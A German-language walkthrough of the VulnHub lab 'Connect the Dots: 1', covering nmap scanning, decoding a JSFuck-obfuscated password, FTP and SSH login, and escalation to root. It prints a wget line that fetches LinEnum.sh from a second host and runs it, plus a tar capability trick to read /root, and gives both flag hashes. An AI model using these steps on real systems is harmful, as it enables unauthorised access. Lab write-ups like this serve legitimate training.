VM: Connect the Dots: 1
Quelle: www.vulnhub.com
Ziel: Finden und auslesen von 2 Flags. user.txt und root.txt.
Tools: LinEnum.sh, NMAP, JSFuck, FileZilla
Techniken: Netzwerk & Port Scan, Enumeration, Privilege Escalation, capabilites
Schritt 1: Scanning
Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.
Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool „NMAP“ welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP installiert ist, kannst du es aus Repositories oder von der Seite des Entwicklers herunterladen und installieren.
Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24
scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.
Bei mir wurde der VM die IP 192.168.178.62 (Rot markiert) zugewiesen.
Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.62
gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.
Wie auf dem Bild zu sehen ist, wurden mehrere offene Ports ermittelt:
Port | Service |
21 | FTP Server |
80 | HTTP Server |
111 | rpcbind (Portmapper) |
7822 | SSH Server (Standard Port 22) |
Andere Informationen sind für uns an dieser Stelle rein informativ.
Schritt 2: Enumeration / Erkundung
Nachdem wir die offene Ports ermittelt haben, ist die Zeit gekommen so viel wie möglich Informationen über das System zu kriegen. Fangen wir mit dem Port 80 – HTTP Server an. Dazu geben wir einfach die IP die wir im Schritt 1 ermittelt haben in einen beliebigen Internet Browser an.http://192.168.178.62
Wir analysieren den Text auf der Seite und notieren uns Informationen die für uns nützlich erscheinen.
Ich habe ein Paar Informationen Rot markieret die mir Interessant vorkommen.
1. Es sind 2 Brüder. Die Namen von denen sind bis auf die ersten Buchstaben gleich. Die Namen fangen mit "M"
und "N"
.
2. Es sind eventuell Backups vorhanden.
Da auf der Seite keine Links auf andere Seiten existieren probieren wir etwas mehr Informationen aus dem Quellcode der Seite zu gewinnen.
Hier können wir zwei interessante Einträge finden:<!-- <script type="text/javascript" src="../../mysite/register.html"></script> -->
und <!-- Reverse of norris -->
Und zwar ist es ein auskommentiertes Link auf eine zweite Seite und vermutlich die Name von einem Bruder. Wenn es stimmt dann heißen die beiden Brüder "Norris"
und "Morris"
.
Sehen wir uns die auskommentierte Seite mal an. Dazu rufen wir im Internet Browser die Seite auf:
http://192.168.178.62/mysite/register.html
Hier bekommen wie eine Login Aufforderung und keine neuen Informationen. Versuchen wir unser Glück in dem Quellcode.
Hier können wir sehen, dass ein Skript geladen wird welches als "bootstrap"
Bibliothek getarnt ist. Wenn wir die Datei uns näher angucken sehen wir folgender Quelltext.
Das sieht nach kodierten Informationen aus. Nach einer Recherche wurde ermittelt, dass es sich dabei um einen esoterischen Programmierstyle der Sprache JavaScript handelt.
Mit Hilfe der Seite www.jsfuck.com kann man es wieder in lesbare Form bringen. Versuche die einzelnen Strings zu dekodieren waren ohne Erfolg. Vermutlich ist dieser Code in mehrere Strings zerschlagen. Versuchen wir zusammen zu führen. Dazu rufen wir die Web-Entwickler Tools des Internet Browsers (Firefox, Chrome) und geben folgendes in die Web-Konsole ein:print(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)
Jetzt können wir mit dem Rechtsklick auf die Ausgabe den kompletten String mit „Copy Object“ kopieren.
Auf der Seite www.jsfuck.com entfernen wir das Häkchen bei „Eval Source“ raus, löschen die vorausgefüllte Werte und fügen unseren Code da ein.
Jetzt können wir den Code mit dem Klick auf "Run This"
umwandeln und bekommen folgende Ausgabe.
Dass sieht nach einem Passwort aus. Notieren wir es für weitere Verwendung. So wie es aussieht haben wir 2 Mögliche Benutzer und ein Passwort. Probieren wir diese direkt aus.
Schritt 3: Infiltration
Als erstes versuchen wir uns mit dem FTP Server zu verbinden. Dafür kann man einen beliebigen FTP-Client nehmen. Ich nutze für diese Zwecke FileZilla. Mit dem Benutzer "norris"
und dem vorher ermitteltem Passwort kann eine Verbindung aufgebaut werden.
Auf dem FTP Server können wir ein Verzeichnis "files"
mit 4 Dateien finden. Kopieren wir diese, um weiter zu untersuchen. Dabei handelt es sich vermutlich um umbenannte Dateien. Zuerst entfernen wir die Erweiterung „.bak"
. Nach kurzer Analyze könnte man in den Dateien keine nützlichen Informationen finden. In der hits.txt
Datei wurde ein Link auf Pastebin gefunden, in der leider nur folgenden Text stand: Remember! Keep your enumeration game strong!
so wie es aussieht war es eine falsche Fährte.
Versuchen wir unser Glück mit der Verbindung zum SSH Server. Dazu geben wir einfach in die Konsole ssh norris@192.168.178.62 -p 7822
. Da der SSH Server nicht auf dem Standard Port 22 läuft, geben wir den alternativen Port per Parameter -p an.
Wie man sieht, konnten wir die Verbindung aufbauen. In dem "Home"
Verzeichnis finden wir die user.txt (Flag 1) und ein Verzeichnis "ftp"
.
Eine kurze Erkundung zeigt uns, dass es dabei um per FTP freigegebenem Verzeichnis handelt.Flag 1: user.txt - 2c2836a138c0e7f7529aa0764a6414d0
Nächstes Ziel ist die Datei root.txt die erfahrungsgemäß sich in dem Verzeichnis /root
befindet. Dabei müssen wir das Betriebssystem auf mögliche Schwachstellen oder Falschkonfigurationen durchsuchen. Dabei hilft uns ein Skript namens LinEnum.sh. Dazu müssen wir dieses Skript per wget herunterladen und ausführen. Am Ende müssen wir nur noch die Ausgabe analysieren, um mögliche Angriffspunkte zu finden.
cd /tmp
wget 192.168.178.100:8000/LinEnum.sh (bei mir liegt das Skript auf lokalem Rechner)
chmod +x LinEnum.sh
./LinEnum.sh
Dabei folgt eine Lange Ausgabe von gesammelten Informationen. Eine davon ist diese Zeile: /usr/bin/tar = cap_dac_read_search+ep
Diese Einstellung erlaubt dem Programm „tar“ Dateien zu komprimieren auf die der Benutzer keine Berechtigungen hat. Das können wir nutzen, um an die uns interessierende Informationen zu kommen.tar -cvf root.tar /root
tar -xvf root.tar
cd root
cat root.txtFlag 2: root.txt - 8fc9376d961670ca10be270d52eda423
An dieser Stelle haben wir die beiden Ziele erreicht.
Andere mögliche Angriffsvektoren:
- Erkundung der nfs Freigabe
- Decodieren des Passwords von Morris (passwd+shadows)